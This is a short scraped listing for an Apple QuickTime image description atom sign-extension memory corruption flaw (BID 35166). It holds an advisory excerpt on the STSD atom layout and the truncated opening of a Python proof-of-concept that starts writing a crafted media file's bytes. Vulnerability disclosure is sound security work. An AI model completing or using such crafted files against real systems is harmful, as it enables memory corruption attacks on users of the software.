Advisory: Apple QuickTime Image Description Atom Sign Extension Memory Corruption

INTRODUCTION ============ According to QuickTime's specification, The sample description atom STSD stores information that allows QuickTime to decode samples in the media. It has the following structure: 0 DWORD Size 4 DWORD Type 8 BYTE Version 9 BYTE3 FLAGS 12 DWORD Number of entries 16 DWORD...

Apple QuickTime - Image Description Atom Sign Extension (PoC)

print " -----------BID 35166----------" print " w3bd3vil at gmail dot com" print "Apple QuickTime Image Description Atom Sign Extension Vulnerability PoC" print " -----------BID 35166----------" bytes = 0x00, 0x00, 0x00, 0x08, 0x77, 0x69, 0x64, 0x65, 0x00, 0x02, 0xD6, 0x48, 0x6D, 0x64, 0x61, 0x74...